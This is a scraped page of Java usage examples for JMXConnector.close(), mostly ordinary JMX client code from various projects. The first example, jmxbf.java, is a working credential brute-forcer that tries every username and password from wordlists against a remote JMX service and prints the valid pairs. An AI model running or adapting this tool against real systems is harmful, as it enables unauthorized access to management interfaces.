List of usage examples for javax.management.remote JMXConnector close
public void close() throws IOException;
Closes the client connection to its server.
From source file:jmxbf.java
public static void main(String[] args) throws IOException, MalformedObjectNameException { String HOST = ""; String PORT = ""; String usersFile = ""; String pwdFile = ""; CommandLine cmd = getParsedCommandLine(args); if (cmd != null) { HOST = cmd.getOptionValue("host"); PORT = cmd.getOptionValue("port"); usersFile = cmd.getOptionValue("usernames-file"); pwdFile = cmd.getOptionValue("passwords-file"); } else {// w w w .j a v a 2 s . c o m System.exit(1); } String finalResults = ""; BufferedReader users = new BufferedReader(new FileReader(usersFile)); BufferedReader pwds = new BufferedReader(new FileReader(pwdFile)); JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + HOST + ":" + PORT + "/jmxrmi"); //new JMXServiceURL("service:jmx:remoting-jmx://" + HOST + ":" + PORT); String user = null; boolean found = false; while ((user = users.readLine()) != null) { String pwd = null; while ((pwd = pwds.readLine()) != null) { //System.out.println(user+":"+pwd); Map<String, String[]> env = new HashMap<>(); String[] credentials = { user, pwd }; env.put(JMXConnector.CREDENTIALS, credentials); try { JMXConnector jmxConnector = JMXConnectorFactory.connect(url, env); System.out.println(); System.out.println(); System.out.println(); System.out.println( "[+] ###SUCCESS### - We got a valid connection for: " + user + ":" + pwd + "\r\n\r\n"); finalResults = finalResults + "\n" + user + ":" + pwd; jmxConnector.close(); found = true; break; } catch (java.lang.SecurityException e) { System.out.println("Auth failed!!!\r\n"); } } if (found) { System.out.println("Found some valid credentials - continuing brute force"); found = false; } //closing and reopening pwds pwds.close(); pwds = new BufferedReader(new FileReader(pwdFile)); } users.close(); //print final results if (finalResults.length() != 0) { System.out.println("The following valid credentials were found:\n"); System.out.println(finalResults); } }
From source file:com.all.services.ServiceConsole.java
@SuppressWarnings("unchecked") public static void main(String[] args) { try {//w w w . j av a 2s .c o m LOG.info("Connecting to JMX service..."); if (args.length < 2) { LOG.error("Incorrect usage of Ultrapeer console.\n\n Args should be 'command password [host]'"); throw new IllegalArgumentException("Not enough agrugments to run."); } HashMap env = new HashMap(); env.put("jmx.remote.credentials", new String[] { "controlRole", args[1] }); String hostname = args.length > 2 ? args[2] : ""; JMXConnector jmxc = JMXConnectorFactory .connect(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + hostname + ":9999/jmxrmi"), env); ServiceMonitorMBean mbeanProxy = JMX.newMBeanProxy(jmxc.getMBeanServerConnection(), new ObjectName("com.all.services:type=ServiceMonitor"), ServiceMonitorMBean.class, true); handleCommand(mbeanProxy, args[0]); jmxc.close(); LOG.info("Done."); } catch (Exception e) { LOG.error(e, e); } }
From source file:com.example.Client.java
public static void main(String[] args) throws Exception { // Create an RMI connector client and // connect it to the RMI connector server ////from w w w. j av a 2s .c om echo("\nCreate an RMI connector client and " + "connect it to the RMI connector server"); JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://:9999/jmxrmi"); JMXConnector jmxc = JMXConnectorFactory.connect(url, null); // Create listener // ClientListener listener = new ClientListener(); // Get an MBeanServerConnection // echo("\nGet an MBeanServerConnection"); MBeanServerConnection mbsc = jmxc.getMBeanServerConnection(); waitForEnterPressed(); // Get domains from MBeanServer // echo("\nDomains:"); String domains[] = mbsc.getDomains(); Arrays.sort(domains); for (String domain : domains) { echo("\tDomain = " + domain); } waitForEnterPressed(); // Get MBeanServer's default domain // echo("\nMBeanServer default domain = " + mbsc.getDefaultDomain()); // Get MBean count // echo("\nMBean count = " + mbsc.getMBeanCount()); // Query MBean names // echo("\nQuery MBeanServer MBeans:"); Set<ObjectName> names = new TreeSet<ObjectName>(mbsc.queryNames(null, null)); for (ObjectName name : names) { echo("\tObjectName = " + name); } waitForEnterPressed(); // ---------------------- // Manage the Hello MBean // ---------------------- echo("\n>>> Perform operations on Hello MBean <<<"); // Construct the ObjectName for the Hello MBean // ObjectName mbeanName = new ObjectName("com.example:type=Hello"); // Create a dedicated proxy for the MBean instead of // going directly through the MBean server connection // HelloMBean mbeanProxy = JMX.newMBeanProxy(mbsc, mbeanName, HelloMBean.class, true); // Add notification listener on Hello MBean // echo("\nAdd notification listener..."); mbsc.addNotificationListener(mbeanName, listener, null, null); // Get CacheSize attribute in Hello MBean // echo("\nCacheSize = " + mbeanProxy.getCacheSize()); // Set CacheSize attribute in Hello MBean // Calling "reset" makes the Hello MBean emit a // notification that will be received by the registered // ClientListener. // mbeanProxy.setCacheSize(150); // Sleep for 2 seconds to have time to receive the notification // echo("\nWaiting for notification..."); sleep(2000); // Get CacheSize attribute in Hello MBean // echo("\nCacheSize = " + mbeanProxy.getCacheSize()); // Invoke "sayHello" in Hello MBean // echo("\nInvoke sayHello() in Hello MBean..."); mbeanProxy.sayHello(); // Invoke "add" in Hello MBean // echo("\nInvoke add(2, 3) in Hello MBean..."); echo("\nadd(2, 3) = " + mbeanProxy.add(2, 3)); waitForEnterPressed(); // ------------------------------ // Manage the QueueSampler MXBean // ------------------------------ echo("\n>>> Perform operations on QueueSampler MXBean <<<"); // Construct the ObjectName for the QueueSampler MXBean // ObjectName mxbeanName = new ObjectName("com.example:type=QueueSampler"); // Create a dedicated proxy for the MXBean instead of // going directly through the MBean server connection // QueueSamplerMXBean mxbeanProxy = JMX.newMXBeanProxy(mbsc, mxbeanName, QueueSamplerMXBean.class); // Get QueueSample attribute in QueueSampler MXBean // QueueSample queue1 = mxbeanProxy.getQueueSample(); echo("\nQueueSample.Date = " + queue1.getDate()); echo("QueueSample.Head = " + queue1.getHead()); echo("QueueSample.Size = " + queue1.getSize()); // Invoke "clearQueue" in QueueSampler MXBean // echo("\nInvoke clearQueue() in QueueSampler MXBean..."); mxbeanProxy.clearQueue(); // Get QueueSample attribute in QueueSampler MXBean // QueueSample queue2 = mxbeanProxy.getQueueSample(); echo("\nQueueSample.Date = " + queue2.getDate()); echo("QueueSample.Head = " + queue2.getHead()); echo("QueueSample.Size = " + queue2.getSize()); waitForEnterPressed(); // Close MBeanServer connection // echo("\nClose the connection to the server"); jmxc.close(); echo("\nBye! Bye!"); }
From source file:c3.ops.priam.utils.SystemUtils.java
public static void closeQuietly(JMXConnector jmc) { try {/*from w w w . j a va 2s .co m*/ jmc.close(); } catch (Exception e) { logger.warn("failed to close JMXConnector", e); } }
From source file:com.neophob.sematrix.cli.PixConClientJmx.java
/** * //from w w w. j a v a 2 s .c om * @param hostname * @param port */ public static void queryJmxServer(String hostname, int port) { System.setSecurityManager(new java.rmi.RMISecurityManager()); JMXServiceURL url; JMXConnector jmxc; hostname = hostname + ":" + port; System.out.println("Create an RMI connector client and connect it to the RMI connector server " + hostname); try { url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + hostname + "/jmxrmi"); jmxc = JMXConnectorFactory.connect(url, null); System.out.println("Get an MBeanServerConnection..."); MBeanServerConnection mbsc = jmxc.getMBeanServerConnection(); printJmxStatus(mbsc); System.out.println("\nClose the connection to the server"); jmxc.close(); } catch (Exception e) { System.out.println("Error: JMX Error!"); e.printStackTrace(); } }
From source file:org.hyperic.hq.product.jmx.MxUtil.java
public static void close(JMXConnector connector) { if (connector != null) { try {//from w w w . j a v a 2 s. c om connector.close(); } catch (IOException e) { log.error("error closing connector: " + e, e); } } }
From source file:org.hyperic.hq.product.jmx.MxUtil.java
public static void close(JMXConnector connector, String objectName, String method) { if (connector != null) { try {/* ww w . j a va 2 s . c o m*/ connector.close(); } catch (IOException e) { log.error("error closing connector " + e + ". objectName=" + objectName + "method=" + method, e); } } }
From source file:org.wso2.carbon.integration.test.client.JMXAnalyzerClient.java
public static int getThreadCount(String host, String port) throws IOException { String username = "admin"; String password = "admin"; int threadCount = 0; String threadName = "JMSThreads"; JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi"); Map<String, String[]> env = new HashMap<String, String[]>(); ThreadInfo threadIDInfo;/*from w ww . java 2 s.c om*/ String[] credentials = { username, password }; env.put(JMXConnector.CREDENTIALS, credentials); JMXConnector jmxConnector = JMXConnectorFactory.connect(url, env); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); final ThreadMXBean remoteThread = ManagementFactory.newPlatformMXBeanProxy(mbeanServerConnection, ManagementFactory.THREAD_MXBEAN_NAME, ThreadMXBean.class); long[] allThreadIDsArray = remoteThread.getAllThreadIds(); //get jms thread count for (long threadID : allThreadIDsArray) { threadIDInfo = remoteThread.getThreadInfo(threadID); if (threadIDInfo != null && threadIDInfo.getThreadName() != null && threadIDInfo.getThreadName().startsWith(threadName)) { threadCount++; } } //close the connection jmxConnector.close(); return threadCount; }
From source file:com.redhat.poc.jdg.bankofchina.function.TestCase411RemoteMultiThreadsCustomMarshal.java
public static void registerProtofile(String jmxHost, int jmxPort, String cacheContainerName) throws Exception { JMXConnector jmxConnector = JMXConnectorFactory .connect(new JMXServiceURL("service:jmx:remoting-jmx://" + jmxHost + ":" + jmxPort)); MBeanServerConnection jmxConnection = jmxConnector.getMBeanServerConnection(); ObjectName protobufMetadataManagerObjName = new ObjectName("jboss.infinispan:type=RemoteQuery,name=" + ObjectName.quote(cacheContainerName) + ",component=ProtobufMetadataManager"); // initialize client-side serialization context via JMX byte[] descriptor = readClasspathResource("/model/userbaseinfo.protobin"); jmxConnection.invoke(protobufMetadataManagerObjName, "registerProtofile", new Object[] { descriptor }, new String[] { byte[].class.getName() }); jmxConnector.close(); }
From source file:com.googlecode.jmxtrans.connections.JmxConnectionFactory.java
/** * Closes the connection.// w w w. ja v a2 s.c o m */ @Override public void destroyObject(JMXConnectionParams params, JMXConnector connector) throws Exception { connector.close(); }